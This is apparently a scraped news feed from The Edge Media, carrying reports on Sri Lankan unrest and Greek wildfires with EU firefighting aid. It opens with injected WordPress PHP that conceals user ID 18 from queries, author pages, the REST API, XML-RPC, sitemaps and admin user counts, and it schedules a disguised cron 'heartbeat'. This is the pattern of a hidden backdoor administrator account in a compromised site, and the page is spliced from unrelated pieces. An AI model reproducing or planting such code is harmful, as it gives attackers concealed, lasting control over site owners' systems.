add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sri Lanka: Troops have been ordered to fire at individuals causing damage to public property appeared first on The Edge Media.
]]>
Meanwhile, a demonstration erupted in front of Sri Lanka’s Trincomalee Naval Base after allegations that former Prime Minister Mahinda Rajapaksa and several of his family members had arrived after leaving their official residence in Colombo, according to a media source. Trincomalee is a port city on Sri Lanka’s northeast coast. Even when a throng attempted to enter Rajapaksa’s official Temple Trees mansion early Tuesday morning, he left.
The post Sri Lanka: Troops have been ordered to fire at individuals causing damage to public property appeared first on The Edge Media.
]]>The post Greek’s second largest island gets engulfed by fire, residents urged to flee. appeared first on The Edge Media.
]]>The fire on Evia, an island of forested mountains and canyons laced with small coves of crystalline water, began aug 3 and cut across the popular summer destination from coast to coast as it burned out of control.
The blaze now is the most severe of dozens that broke out in Greece in the wake of the country’s most protracted heat wave in three decades, which sent temperatures soaring to 45 degrees celsius for days and created bone-dry conditions.
Three patrol boats and a ferry were on standby at Peki to evacuate residents .
Around 350 people already boarded the ferry and 23 people were picked up by coast guard as fire cut off many road-based escape routes.
The post Greek’s second largest island gets engulfed by fire, residents urged to flee. appeared first on The Edge Media.
]]>The post Greece going through the worst heat wave in terms of intensity and duration appeared first on The Edge Media.
]]>On the nearby island of Evia, the Greek coast guard mounted a massive operation with patrol boats and private vessels to evacuate hundreds of residents and vacationers by sea as dozens of fires burned across the country for a third day amid a protracted heat wave.
One of the most severe blazes tore through forest areas 20 kilometers (12.5 miles) north of the capital, destroying more homes. Ground crews of several hundred firefighters dug fire breaks and hosed the flames.
Traffic was halted on the country’s main highway connecting Athens to northern Greece as crews tried to use the road as a firebreak before water-dropping planes resumed flights at first light. But sparks and burning pine cones carried the fire across the highway at several points.

Several firefighters and volunteers were hospitalized with burns, health officials said. Health Minister Vassilis Kikilias said nine people had been taken by ambulance to hospitals in Athens from the fire north of the Greek capital, three of them suffering breathing problems, while 11 more were being treated in a health center on Evia.
“We are going through the 10th day of a major heat wave affecting our entire country, the worst heat wave in terms of intensity and duration of the last 30 years,” Fire Service Brig. Gen. Aristotelis Papadopoulos said.
The post Greece going through the worst heat wave in terms of intensity and duration appeared first on The Edge Media.
]]>The post Fire – fighting resources from EU nations on their way to Greece appeared first on The Edge Media.
]]>“We are working around the clock to send help as fires rage across Europe,” commissioner Janez Lenarcic said in a statement.
“I thank Cyprus, Czechia, France, Slovenia and the Netherlands for swiftly deploying firefighting airplanes, helicopters and a team of firefighters to support countries heavily affected by forest fires.”
The dispatch of the aircraft and firefighters were being coordinated by the EU Civil Protection Mechanism, with the European Commission picking up most of the mobilisation cost.
Greek firefighters have been battling several heatwave-fuelled forest infernos, including around Athens that have destroyed or damaged dozens of homes and businesses and forced the evacuation of villages, and others in the south and on the island of Euboea.
Devastating fires have also scorched parts of Italy, including in Sicily and near Rome.
Both Greece and Italy are EU member states.
EU help was also being given to non-EU neighbours, in the form of two helicopters sent to Albania and 45 Slovenian firefighters to North Macedonia.
The European Union earlier this week deployed firefighting help to Turkey, which is also struggling with violent summer wildfires that have sent residents and tourists scrambling to safety.
The post Fire – fighting resources from EU nations on their way to Greece appeared first on The Edge Media.
]]>